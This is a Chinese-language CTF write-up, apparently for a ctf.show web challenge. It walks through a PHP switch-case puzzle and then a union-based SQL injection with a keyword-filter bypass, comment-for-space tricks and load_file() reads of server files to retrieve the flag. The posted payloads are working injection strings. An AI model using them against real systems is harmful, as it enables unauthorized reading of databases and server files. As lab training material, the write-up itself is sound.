时隔一年多,终于再次有机会更新了。24年忙着HVV,在北京HVV结束后呢,回学校忙着找工作,几乎停止了学习,UP运气很好,在这个世道获得了一缕安稳。趁着这次培训抽出时间继续更新。UP很菜,有什么不对的地方,还请指正。
这个题,UP也是被耍的团团转。
php
<?php
include("secret.php");
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}
highlight_file(__FILE__);
找没有break的分支,自然就是3了,访问?c=3即可,得here_1s_your_f1ag.php,继续访问
有一个弹窗,一个查询,多半是sql注入了。查看源代码,发现过滤函数
php
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');
}
过滤了information_schema.tables。UP第一时间想到了无列明注入,尝试换表,测试无列明盲注,毛都没有,非常头痛。稍微稍微稍微看了其他UP的文章。
php
information_schema.`tables`
写成这样就好了。无语几秒,把这茬整忘了。然后就是按规矩来,明显没有引号闭合,而且是回显注入。上payload。
php
-1/**/union/**/select/**/1 //爆出1
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database() //爆出表名content
-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content' //爆出列名id,username,password
-1/**/union/**/select/**/group_concat(password)/**/from/**/content //爆出提示flag is not here!,wow,you can really dance,tell you a secret,secret has a secret...
注入了半天,结果不在这,看提示应该在首页提醒的secret.php里。原来是考回显注入读文件。
php
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
//得到提示
<script>alert('<!-- ReadMe -->
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
echo file_get_contents('/real_flag_is_here');
}')</script>
别管这个代码了,都说了在这/real_flag_is_here,继续读。这个题很有趣,值得记录。
php
-1/**/union/**/select/**/load_file('/real_flag_is_here')
